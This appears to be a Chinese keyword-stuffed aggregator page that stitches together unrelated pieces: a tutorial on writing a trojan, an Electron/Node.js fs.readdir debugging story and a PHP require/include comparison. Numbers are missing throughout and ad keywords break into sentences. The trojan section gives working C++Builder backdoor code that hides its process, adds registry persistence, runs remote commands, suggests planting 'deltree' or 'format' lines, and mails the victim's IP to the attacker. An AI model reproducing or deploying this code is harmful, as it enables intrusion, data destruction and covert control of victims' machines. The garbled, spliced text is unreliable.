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【共享童车 小程序 源码】【语音聊天机器人 源码】【android 本地音乐播放器源码】readdir源码

来源:诸神源码 发表时间:2024-12-22 16:26:24

1.木马是什么东西
2.抽丝剥茧:Electron与Node.js的奇葩Bug
3.require和include的区别
4.node.js中的fs.readdir方法使用说明
5.node.js中的fs.readdirSync方法使用说明

readdir源码

木马是什么东西

       木马是如何编写的(一)

        特洛依木马这个名词大家应该不陌生,自从年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在DosWindows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。共享童车 小程序 源码

        我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在AT&T Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

        自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

        首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的语音聊天机器人 源码例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈难道你还给受害者传一个1兆多的动态链接库Msvbvm.dll吗?

        启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

        Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有K左右那样。

        我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL.DLL中的鸟函数了。

        首先判断目标机的操作系统是Win9x还是WinNt:

       {

       DWORD dwVersion = GetVersion();

       // 得到操作系统的版本号

       if (dwVersion >= 0x)

       // 操作系统是Win9x,不是WinNt

        {

        typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

        file://定义RegisterServiceProcess()函数的原型

        HINSTANCE hDLL;

        LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

        hDLL = LoadLibrary("KERNEL");

        file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL.DLL

        lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

        file://得到RegisterServiceProcess()函数的地址

        lpRegisterServiceProcess(GetCurrentProcessId(),1);

        file://执行RegisterServiceProcess()函数,隐藏本进程

        FreeLibrary(hDLL);

        file://卸载动态链接库

        }

       }

        这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

       {

       char TempPath[MAX_PATH];

       file://定义一个变量

       GetSystemDirectory(TempPath ,MAX_PATH);

       file://TempPath是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

       SystemPath=AnsiString(TempPath);

       file://格式化TempPath字符串,使之成为能供编译器使用的样式

       CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi.exe").c_str() ,FALSE);

       file://将自己拷贝到%System%目录下,并改名为Tapi.exe,伪装起来

       Registry=new TRegistry;

       file://定义一个TRegistry对象,android 本地音乐播放器源码准备修改注册表,这一步必不可少

       Registry->RootKey=HKEY_LOCAL_MACHINE;

       file://设置主键为HKEY_LOCAL_MACHINE

       Registry->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

       file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

       try

        {

        file://如果以下语句发生异常,跳至catch,以避免程序崩溃

        if(Registry->ReadString("crossbow")!=SystemPath+"\\Tapi.exe")

        Registry->WriteString("crossbow",SystemPath+"\\Tapi.exe");

        file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi.exe

        file://如果不是,就写入以上键值和内容

        }

       catch(...)

        {

        file://如果有错误,什么也不做

        }

       }

        好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

        接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入,这是木马的端口号,当然你也可以用别的。但是你要注意不要用以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的号端口也是SMTP协议的专用端口。

        再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

       {

        FILE *fp=NULL;

        char * content;

        int times_of_try;

        char TempFile[MAX_PATH];

        file://定义了一堆待会儿要用到的变量

        sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win.BAT")).c_str());

        file://在%System%下建立一个文本文件Win.bat,作为临时文件使用

        AnsiString temp=Socket->ReceiveText();

        file://接收客户端(攻击者,也就是你自己)传来的数据

       }

        好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

       {

       if(temp.SubString(0,9)=="edit conf")

        file://如果接受到的字符串的前9个字符是“edit conf”

        {

        int number=temp.Length();

        file://得到字符串的长度

        int file_name=atoi((temp.SubString(,1)).c_str());

        file://将第个字符转换成integer型,存入file_name变量

        file://为什么要取第个字符,因为第个字符是空格字符

        content=(temp.SubString(,number-)+'\n').c_str();

        file://余下的字符串将被作为写入的内容写入目标文件

        FILE *fp=NULL;

        char filename[];

        chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

        chmod("c:\\config.sys",S_IREADS_IWRITE);

        file://将两个目标文件的属性改为可读可写

        if(file_name==1)

        sprintf(filename,"%s","c:\\autoexec.bat");

        file://如果第个字符是1,就把Autoexec.bat格式化

        else if(file_name==2)

        sprintf(filename,"%s","c:\\config.sys");

        file://如果第个字符是1,就把Config.sys格式化

        times_of_try=0;

        file://定义计数器

        while(fp==NULL)

        {

        file://如果指针是空

        fp=fopen(filename,"a+");

        file://如果文件不存在,创建之;如果存在,准备在其后添加

        file://如果出错,文件指针为空,源码 web代理服务器这样就会重复

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        file://如果已经试了次了,仍未成功

        Socket->SendText("Fail By Open File");

        file://就发回“Fail By Open File”的错误信息

        goto END;

        file://跳至END处

        }

        }

        fwrite(content,sizeof(char),strlen(content),fp);

        file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

        fclose(fp);

        file://写完后关闭目标文件

        Socket->SendText("Sucess");

        file://然后发回“Success”的成功信息

        }

       }

       上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

       {

       else if(temp.SubString(0,3)=="dir")

        {

        file://如果前3个字符是“dir”

        int Read_Num;

        char * CR_LF="\n";

        int attrib;

        char *filename;

        DIR *dir;

        struct dirent *ent;

        int number=temp.Length();

        file://得到字符串的长度

        AnsiString Dir_Name=temp.SubString(5,number-3);

        file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

        if(Dir_Name=="")

        {

        file://如果目录名为空

        Socket->SendText("Fail By Open DIR's Name");

        file://返回“Fail By Open DIR's Name”信息

        goto END;

        file://跳到END

        }

        char * dirname;

        dirname=Dir_Name.c_str();

        if ((dir = opendir(dirname)) == NULL)

        {

        file://如果打开目录出错

        Socket->SendText("Fail by your DIR's name!");

        file://返回“Fail By Your DIR's Name”信息

        goto END;

        file://跳到END

        }

        times_of_try=0;

        while(fp==NULL)

        {

        file://如果指针是NULL

        fp=fopen(TempFile,"w+");

        file://就创建system\Win.bat准备读和写;如果此文件已存在,则会被覆盖

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        file://如果已经试了次了,仍未成功(真有耐心!)

        Socket->SendText("Fail By Open File");

        file://就发回“Fail By Open File”的错误信息

        goto END;

        file://并跳到END处

        }

        }

        while ((ent = readdir(dir)) != NULL)

        {

        file://如果访问目标目录成功

        if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

        file://如果最后一个字符不是“\”,证明不是根目录

        filename=(AnsiString(dirname)+"\\"+ent->d_name).c_str();

        file://加上“\”字符后将指针指向目录流

        else

        filename=(AnsiString(dirname)+ent->d_name).c_str();

        file://如果是根目录,则不用加“\”

        attrib=_rtl_chmod(filename, 0);

        file://得到目标文件的访问属性

        if (attrib & FA_RDONLY)

        file://“&”字符是比较前后两个变量,如果相同返回1,否则返回0

        fwrite(" R",sizeof(char),3,fp);

        file://将目标文件属性设为只读

        else

        fwrite(" ",sizeof(char),3,fp);

        file://失败则写入空格

        if (attrib & FA_HIDDEN)

        fwrite("H",sizeof(char),1,fp);

        file://将目标文件属性设为隐藏

        else

        fwrite(" ",sizeof(char),1,fp);

        file://失败则写入空格

        if (attrib & FA_SYSTEM)

        fwrite("S",sizeof(char),1,fp);

        file://将目标文件属性设为系统

        else

        fwrite(" ",sizeof(char),1,fp);

        file://失败则写入空格

        if (attrib & FA_ARCH)

        fwrite("A",sizeof(char),1,fp);

        file://将目标文件属性设为普通

        else

        fwrite(" ",sizeof(char),1,fp);

        file://失败则写入空格

        if (attrib & FA_DIREC)

        fwrite(" <DIR> ",sizeof(char),9,fp);

        file://将目标文件属性设为目录

        else

        fwrite(" ",sizeof(char),9,fp);

        file://失败则写入空格

        fwrite(ent->d_name,sizeof(char),strlen(ent->d_name),fp);

        file://将目录名写入目标文件

        fwrite(CR_LF,1,1,fp);

        file://写入换行

        }

        fclose(fp);

        file://关闭文件

        closedir(dir);

        file://关闭目录

        FILE *fp1=NULL;

        times_of_try=0;

        while(fp1==NULL)

        {

        fp1=fopen(TempFile,"r");

        file://打开Win.bat准备读

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        file://如果已经试了次了,仍未成功

        Socket->SendText("Fail By Open File");

        file://就发回“Fail By Open File”的错误信息

        goto END;

        file://并跳到END处

        }

        }

        AnsiString Return_Text="";

        char temp_content[];

        for(int i=0;i<;i++) temp_content[i]='\0';

        file://定义的一个空数组

        Read_Num=fread(temp_content,1,,fp1);

        file://从目标文件中读入前个字符

        while(Read_Num==)

        {

        Return_Text=Return_Text+temp_content;

        file://Return_Text变量加上刚才的个字符

        for(int i=0;i<;i++) temp_content[i]='\0';

        Read_Num=fread(temp_content,1,,fp1);

        file://重复

        };

        Return_Text=Return_Text+temp_content;

        file://Return_Text变量加上刚才的个字符

        fclose(fp1);

        file://关闭目标文件

        Socket->SendText(Return_Text);

        file://返回Return_Text变量的内容

        }

       }

        够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

       {

       else if(temp.SubString(0,4)=="type")

        {

        file://如果前4个字符是“type”

        int Read_Num;

        int number=temp.Length();

        AnsiString File_Name=temp.SubString(6,number-4);

        file://将目标文件流存入File_Name变量中

        times_of_try=0;

        while(fp==NULL)

        {

        fp=fopen(File_Name.c_str(),"r");

        file://打开目标文件准备读

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        file://如果已试了次了

        Socket->SendText("Fail By Open File");

        file://返回“Fail By Open File”的错误信息

        goto END;

        file://跳到END

        }

        }

        AnsiString Return_Text="";

        char temp_content[];

        for(int i=0;i<;i++) temp_content[i]='\0';

        file://定义一个空数组

        Read_Num=fread(temp_content,1,,fp);

        file://从目标文件中读入前个字符

        while(Read_Num==)

        {

        Return_Text=Return_Text+temp_content;

        file://Return_Text的内容加上刚才的字符

        for(int i=0;i<;i++) temp_content[i]='\0';

        Read_Num=fread(temp_content,1,,fp);

        file://重复

        };

        Return_Text=Return_Text+temp_content;

        file://Return_Text的内容加上刚才的字符

        fclose(fp);

        file://关闭目标文件

        Socket->SendText(Return_Text);

        file://返回Return_Text的内容,即你查看文件的内容

        }

       }

        咳咳!累死了!还是来点轻松的吧操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

       {

       else if(temp=="open")

        {

        file://如果收到的temp的内容是“open”

        mciSendString("set cdaudio door open", NULL, 0, NULL);

        file://就弹出光驱的托盘

        }

       else if(temp=="close")

        {

        file://如果收到的temp的内容是“close”

        mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

        file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

        }

       }

        接着就是交换目标机的鼠标左右键,代码如下:

       {

       else if(temp=="swap")

        {

        SwapMouseButton(1);

        file://交换鼠标左右键,简单吧?

        }

       }

        然后就是使目标机重新启动。但这里要区分WinNt和Win9xNT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

       {

       else if(temp=="reboot")

        {

        file://如果收到的temp的内容是“temp”

        DWORD dwVersion = GetVersion();

        file://得到操作系统的版本号

        if (dwVersion < 0x)

        {

        file://操作系统是WinNt,不是Win9x

        HANDLE hToken;

        TOKEN_PRIVILEGES tkp;

        file://定义变量

        OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, &hToken);

        file://OpenProcessToken()这个函数的作用是打开一个进程的访问令牌

        file://GetCurrentProcess()函数的作用是得到本进程的句柄

        LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);

        file://LookupPrivilegeValue()的作用是修改进程的权限

        tkp.PrivilegeCount = 1;

        file://赋给本进程特权

        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

        AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

        file://AdjustTokenPrivileges()的作用是通知Windows NT修改本进程的权利

        ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

        file://强行退出WinNt并重启

        }

        else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

        file://强行退出Win9x并重启

        }

       }

        如果以上都不是,就让它在Dos窗口中执行传来的命令:

       {

       else

        {

        file://如果都不是

        char * CR_TF="\n";

        times_of_try=0;

        while(fp==NULL)

        {

        fp=fopen(TempFile,"w+");

        file://创建Win.bat,如果已存在就覆盖

        times_of_try=times_of_try+1;

        file://计数器加1

        if(times_of_try>)

        {

        Socket->SendText("Fail By Open File");

        file://返回“Fail By Open File”的信息

        goto END;

        file://跳到END

        }

        }

        fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

        file://写入欲执行的命令

        fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

        file://写入换行符

        fclose(fp);

        file://关闭Win.bat

        system(TempFile);

        file://执行Win.bat

        Socket->SendText("Success");

        file://返回“Success”信息

        }

       }

        你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

        到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

        木马是java web进销存源码下载如何编写的(三)

        武汉 周侃

        上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

       {

       END:;

        Socket->Close();

        file://关闭服务

        ServerSocket1->Active =true;

        file://再次打开服务

        if (NMSMTP1->Connected) NMSMTP1->Disconnect();

        file://如果SMTP服务器已连接则断开

        NMSMTP1->Host = "smtp..net";

        file://选一个好用的SMTP服务器,如、、sina和btamail

        NMSMTP1->UserID = "";

        file://你SMTP的ID

        try

        {

        NMSMTP1->Connect();

        file://再次连接

        }

        catch(...)

        {

        goto NextTime;

        file://跳到NextTime

        }

        NMSMTP1->PostMessage->FromAddress ="I don't know!";

        file://受害者的Email地址

        NMSMTP1->PostMessage->FromName = "Casualty";

        file://受害者的名字

        NMSMTP1->PostMessage->ToAddress->Text = "crossbow@.net";

        file://将信发到我的邮箱,这一步很关键

        NMSMTP1->PostMessage->Body->Text = AnsiString("Server Running on:") + NMSMTP1->LocalIP ;

        file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

        NMSMTP1->PostMessage->Subject = "Server Running Now!";

        file://信的主题

        NMSMTP1->SendMail();

        file://发送!

        return;

        file://返回

       NextTime:

        NMFTP1->Host = "ftp.go..com";

        file://你的FTP服务器的地址

        NMFTP1->UserID = "";

        file://你的用户ID

        NMFTP1->Port = ;

        file://FTP端口号,一般为

        NMFTP1->Password = "";

        file://你的FTP的密码

        if(NMFTP1->Connected) NMFTP1->Disconnect();

        file://如果已连接就断开

        try

        {

        NMFTP1->Connect();

        file://再连接

        }

        catch(...)

        {

        return;

        file://返回

        }

        AnsiString SendToSite = "Server Running on: " + NMFTP1->RemoteIP;

        file://受害者的IP地址

        FILE * Upload;

        Upload = fopen(NMFTP1->RemoteIP.c_str(),"w+");

        file://创建一个新文件准备写,如果已存在就覆盖

        fwrite(SendToSite.c_str(),sizeof(char),SendToSite.Length(),Upload);

        file://写入以上的SendToSite的内容

        fclose(Upload);

        file://写完后关闭此文件

        NMFTP1->RemoveDir("public_html");

        file://删除public_html目录

        NMFTP1->Upload(NMFTP1->RemoteIP, NMFTP1->RemoteIP);

        file://上传!

       }

        啊,超长的OnClientRead事件终于写完了。最后别忘了要在此服务器源码文件中添加以下头文件:

       #include <stdlib.h>

       #include <dirent.h>

       #include <fcntl.h>

       #include <dos.h>

       #include <sys\stat.h>

       #include <winbase.h>

       #include <stdio.h>

       #include <process.h>

       #include <io.h>

       #include <mmsystem.h>

        至此,服务器端(Server)程序已全部

抽丝剥茧:Electron与Node.js的奇葩Bug

       起因是最近在用Electron开发一个桌面端项目,有个需求是需要遍历某个文件夹下的所有JavaScript文件,对它进行AST词法语法分析,解析出元数据并写入到某个文件里。需求整体不复杂,只是细节有些麻烦,当我以为开发的差不多时,注意到一个匪夷所思的问题,查的我快怀疑人生。

       缘起

       什么问题呢?

       原来这个需求一开始仅是遍历当前文件夹下的文件,我的获取所有JS文件的代码是这样的:

       后来需求改为要包含文件夹的子文件夹,那就需要进行递归遍历。按照我以前的做法,当然是手撸一个递归,代码并不复杂,缺点是递归可能会导致堆栈溢出:

       但做为一个紧跟时代浪潮的开发者,我知道Node.js的fs.readdir API中加了一个参数recursive,表示可以进行递归,人家代码的鲁棒性肯定比我的好多了:

       只改了一行代码,美滋滋~

       兼容性怎么样呢?我们到Node.js的API文档里看下:

       是从v..0添加的,而我本地使用的Node.js版本正是这个(好巧),我们Electron中的Node.js版本是多少呢?先看到electron的版本是.0.4:

       在Electron的 发布页上能找到这个版本对应的是..1,比我本地的还要多一个小版本号:

       这里需要说明一下,Electron之所以优于WebView方案,是因为它内置了Chrome浏览器和Node.js,锁定了前端与后端的版本号,这样只要Chrome和Node.js本身的跨平台没有问题,理论上Electron在各个平台上都能获得统一的UI与功能体验。 而以Tauri为代表的WebView方案,则是不内置浏览器,应用程序使用宿主机的浏览器内核,开发包的体积大大减小,比如我做过的同样功能的一个项目,Electron版本有M+,而Tauri的只有4M左右。虽然体积可以这么小,又有Rust这个性能大杀器,但在实际工作中的技术选型上,想想各种浏览器与不同版本的兼容性,换我也不敢头铁地用啊! 所以,尽管Electron有这样那样的缺点,仍是我们开发客户端的不二之选。 之所以提这个,是因为读者朋友需要明白实际项目运行的是Electron内部的Node.js,而我们本机的Node.js只负责启动Electron这个工程。

       以上只是为了说明,我这里使用fs.readdir这个API新特性是没有问题的。

       排查

       为方便排查,我将代码再度简化,提取一个单独的文件中,被Electron的Node.js端引用:

       能看到控制台打印的 Node.js 版本与我们刚才查到的是一样的,文件数量为2:

       同样的代码使用本机的Node.js执行:

       难道是这个小版本的锅?按理说不应该。但为了排除干扰,我将本机的Node.js也升级为..1:

       这下就有些懵逼了!

       追踪

       目前来看,锅应该是Electron的。那么第一思路是什么?是不是人家已经解决了啊?我要不要先升个级?

       没毛病。

       升级Electron

       将Electron的版本号换成最新版本v.1.0:

       再看效果:

       我去,正常了!

       不过,这个包的升级不能太草率,尤其正值发版前夕,所以还是先改代码吧,除了我上面手撸的代码外,还有个包readdirp也可以做同样的事情:

       这两种方式,在原版本的Electron下都没有问题。

       GitHub上搜索

       下来接着排查。

       Electron是不是有人发现了这个Bug,才进行的修复呢?

       去 GitHub issue里瞅一瞅:

       没有,已经关闭的问题都是年提的问题,而我们使用的Electron的版本是年月日发布的。 那么就去 代码提交记录里查下(GitHub这个功能还是很好用的):

       符合条件的就一条,打开看下:

       修复的这个瞅着跟我们的递归没有什么关系嘛。

       等等,这个文件是什么鬼?

       心血来潮的收获

       我们找到这个文件,目录在lib下:

       从命名上看,这个文件是对Node.js的fs模块的一个包装。如果你对Electron有了解的话,仔细一思索,就能理解为什么会有这么个文件了。我们开发时,项目里会有许多的资源,Electron的Node.js端读取内置的文件,与正常Node.js无异,但事实上,当我们的项目打包为APP后,文件的路径与开发状态下完全不一样了。所以Electron针对打包后的文件处理,重写了fs的各个方法。

       这段代码中重写readdir的部分如下:

       上面的判断isAsar就是判断是否打包后的归档文件,来判断是否要经Electron特殊处理。如果要处理的话,会调用Electron内部的C++代码方法进行处理。

       我发现,这里Electron并没有对打包后的归档文件处理递归参数recursive,岂不是又一个Bug?应该提个issue提醒下。

       不过,我们目前的问题,并不是它造成的,因为现在是开发状态下,上面代码可以简化为:

       对Promise了如指掌的我怎么看这代码也不会有问题,只是心血来潮执行了一下:

       我去,差点儿脑溢血!

       好的一点是,曙光似乎就在眼前了!事实证明,心血来潮是有用的!

       Node.js的源码

       这时不能慌,本地切换Node.js版本为v,同样的代码再执行下:

       这说明Electron是被冤枉的,锅还是Node.js的!

       Node.js你这个浓眉大眼的,居然也有Bug!呃,还偷偷修复了!

       上面的情况,其实是说原生的fs.readdir有问题:

       也就是说,fs.promises.readdir并不是用util.promisify(fs.readdir)实现的!

       换成同步的代码readdirSync,效果也是一样:

       我们来到Node.js的GitHub地址,进行 搜索:

       打开这两个文件,能发现,二者确实是不同的实现,不是简单地使用util.promisify进行转换。

       fs.js

       我们先看 lib/fs.js。

       当recursive为true时,调用了一个readdirSyncRecursive函数,从这个命名上似乎可以看出有性能上的隐患。正常来说,这个函数是异步的,不应该调用同步的方法,如果文件数量过多,会把主进程占用,影响性能。

       如果没有recursive,则是原来的代码,我们看到binding readdir这个函数,凡是binding的代码,应该就是调用了C++的底层库,进行了一次『过桥』交互。

       我们接着看readdirSyncRecursive,它的命名果然没有毛病,binding readdir没有第4个参数,是完全同步的,这个风险是显而易见的:

       fs/promises.js

       在lib/internal/fs/promises.js中,我们看到binding readdir的第4个参数是kUsePromises,表明是个异步的处理。

       当传递了recursive参数时,将调用readdirRecursive,而readdirRecursive的代码与readdirSyncRecursive的大同小异,有兴趣的可以读一读:

       fs.js的提交记录

       我们搜索readdir的提交记录,能发现这两篇都与深度遍历有关:

       其中 下面的这个,正是我们这次问题的罪魁祸首。

       刚才看到的fs.js中的readdirSyncRecursive里这段长长的注释,正是这次提交里添加的:

       从代码对比上,我们就能看出为什么我们的代码遍历的程序为2了,因为readdirResult是个二维数组,它的长度就是2啊。取它的第一个元素的长度才是正解。坑爹!

       也就是说,如果不使用withFileTypes这个参数,得到的结果是没有问题的:

       发版记录

       我们在Node.js的发版记录中,找到这条提交记录,也就是说,v..0才修复这个问题。

       而Electron只有Node.js更新到v后,这个功能才修复。

       而从Electron与Node.js的版本对应上来看,得更新到v了。

       只是需要注意的是,像前文提过的,如果是遍历的是当前项目的内置文件,Electron并没有支持这个新的参数,在打包后会出现Bug。

       fs的同步阻塞

       其实有人提过一个 issue:

       确实是个风险点。所以,建议Node.js开发者老老实实使用fs/promises代替fs,而Electron用户由于坑爹的fs包裹,还是不要用这个特性了。

       总结

       本次问题的起因是我的一个Electron项目,使用了一个Node.js fs API的一个新参数recursive递归遍历文件夹,偶然间发现返回的文件数量不对,就开始排查问题。

       首先,我选择了升级Electron的包版本,发现从v.0.4升级到最新版本v.1.0后,问题解决了。但由于发版在即,不能冒然升级这么大件的东西,所以先使用readdirp这个第三方包处理。

       接着排查问题出现的原因。我到Electron的GitHub上搜索issue,只找到一条近期的提交,但看提交信息,不像是我们的目标。我注意到这条提交的修改文件(asar-fs-wrapper.ts),是Electron针对Node.js的fs API的包装,意识到这是Electron为了解决打包前后内置文件路径的问题,心血来潮之下,将其中核心代码简化后,测试发现问题出在fs.promises readdir的重写上,继而锁定了Node.js版本v..1的fs.readdir有Bug。

       下一步,继续看Node.js的源码,确定了fs.promises与fs是两套不同的实现,不是简单地使用util.promisify进行转换。并在fs的代码找到关于recursive递归的核心代码readdirSyncRecursive。又在提交记录里,找到这段代码的修复记录。仔细阅读代码对比后,找到了返回数量为2的真正原因。

       我们在Node.js的发版记录中,找到了这条记录的信息,确定了v..0才修复这个问题。而内嵌Node.js的Electron,只有v版本起才修复。

       不过需要注意的是,如果是遍历的是当前项目的内置文件,由于Electron并没有支持这个新的参数,在打包后会出现Bug。而且由于fs.readdir使用recursive时是同步的,Electron重写的fs.promises readdir最终调用的是它,可能会有隐性的性能风险。

       本次定位问题走了些弯路,一开始将目标锁定到Electron上,主要是它重写fs的锅,如果我在代码中用的fs.readdirSync,那么可能会更早在Node.js上查起。谁能想到我调用的fs.promises readdir不是真正的fs.promises readdir呢?

       最后,针对此次问题,我们有以下启示:

       PS:我给Electron提了个 issue,一是让他们给fs.readdir添加recursive参数的实现,二是让他们注意下重写时fs.promises readdir的性能风险。

require和include的区别

       nclude与require的区别

       PHP中的require,require_once,include,include_once的区别

        “include”与“required”的作用都是相同的,唯一不同的是PHP在遇到“include”命令时,它就必须重新解释一次。如果在同一个PHP网页中出现次“include”命令时,它便会被重新解释次。不过当PHP遇到“require”命令时,不管它在同一个PHP网页中出现过几次,PHP只会解释一次而已。

        “require”的工作方式是为了让PHP程序得到更高的效率,所以当它在同一个PHP网页中解释过一次后,第二次出现便不会再解释,这是它的优点。不过严格来说,这也是它的唯一 的缺点,因为它不会重复解释引入的文件,所以当PHP网页中使用循环或条件语句来引入文件时,“require”则不会做任何的改变。当有类似这样的情形时,就必须使用“include”命令来引入 文件了。

        当PHP遇到一个利用“include”方式引入的文件,它就会解释一次;遇到第二次时,PHP还是会重新解释一次。与“require”相比,“include”的执行效率则会下降许多;而且当引入文件中包含了用户自定义的函数时,PHP在解释的过程中会发生函数重复定义的问题。不过“include”也不是没有优点的,因为在PHP网页中,它会每遇到一次“include”命令就会重复解释一次,所以非常适合使用在循环或条件判断的语句里。

        “include_once()”函数和“require_once()” 函数功能完全相同,会先检查目标档案的内容是不是在之前就已经导入过了,如果是的话,便不会再次重复导入同样的内容。

       çŽ°åœ¨æ¥è¯´include和require的区别:

       require()函数包含进来的内容被当成当前文件的一个组成部分,所以当包含进来的文件有语法错误或者文件不存在的时候,那当前文件的PHP脚本都不再执行. include()函数相当于指定这个文件的路径,当被包含的文件有错时,不会影响到本身的程序运行.

       include函数可以进行判断是否包含,而require则是不管任何情况都包含进来.所以这点值得注意!

       å»ºè®®å¤§å®¶åœ¨åŒ…含动态文件,也就是有变量,函数,已经类的时候用include.不过前段时间有人在分析两个函数的执行效率.这个我没自己测试过,等亲自测试了再进行补充

       www.w3school.com

       é€šè¿‡ include() 或 require() 函数,您可以在服务器执行 PHP 文件之前在该文件中插入一个文件的内容。除了它们处理错误的方式不同之外,这两个函数在其他方面都是相同的。include() 函数会生成一个警告(但是脚本会继续执行),而 require() 函数会生成一个致命错误(fatal error)(在错误发生后脚本会停止执行)。

